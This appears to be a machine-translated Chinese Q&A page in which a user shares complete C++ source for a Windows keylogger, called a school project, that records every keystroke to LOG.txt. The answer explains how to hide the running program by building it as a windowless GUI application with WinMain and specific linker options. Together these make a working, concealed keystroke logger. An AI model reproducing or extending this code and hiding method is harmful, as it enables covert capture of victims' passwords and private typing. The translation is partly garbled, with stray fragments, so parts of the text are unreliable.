我为我的学校项目制作了一个简单的键盘记录器。它工作得很好,但每当我运行它时,任务栏上都会显示它的图标:
我想知道如何隐藏程序的运行。
#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");
cout<<key_stroke<<endl;
if (key_stroke==VK_TAB
||key_stroke==VK_SHIFT
||key_stroke==VK_CONTROL
||key_stroke==VK_ESCAPE
||key_stroke==VK_END
||key_stroke==VK_UP
||key_stroke==VK_DOWN
||key_stroke==VK_HOME
||key_stroke==VK_LEFT
||key_stroke==VK_RIGHT
)
fprintf(OUTPUT_FILE,"%s \n","IG");
else if (key_stroke==8)
fprintf(OUTPUT_FILE,"%s","\b");
else if (key_stroke==13)
fprintf(OUTPUT_FILE,"%s","\n");
else if (key_stroke==32)
fprintf(OUTPUT_FILE,"%s \n"," ");
else if (key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE,"%s",".");
else
fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
char i;
while (true)
{
for (i=8 ; i<190 ; i++)
{
if (GetAsyncKeyState(i)==-32767)
Save(i,"LOG.txt");
}
}
system("PAUSE");
return 0;}
答案 0 :(得分:0)
作为@Cheers和hth。 -Alf在评论中指出,你可以简单地创建一个没有窗口而不是控制台应用程序的GUI应用程序。由于您使用的是Windows,因此可以从以下位置更改代码:
int main()
为:
#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
您需要更改链接器选项。您可以按照answer provided (also by @Cheers and hth. -Alf) to this question:
上的说明执行此操作使用Visual C ++编译器,如果要从命令行进行编译,请添加选项
/link /subsystem:windows /entry:mainCRTStartup
如果您使用的是Visual Studio,请将子系统更改为Windows,并在链接器选项中将入口点更改为
mainCRTStartup
。
对于CodeBlocks,一个非常快速的Google搜索显示以下answer:
- 单击CodeBlocks菜单上的Project。
- 单击“属性”。
- 单击第二个选项卡Build Targets。
- 在右侧,显示类型:控制台应用程序,将其更改为GUI应用程序。
- 重建项目。
醇>
您的申请将不再开窗。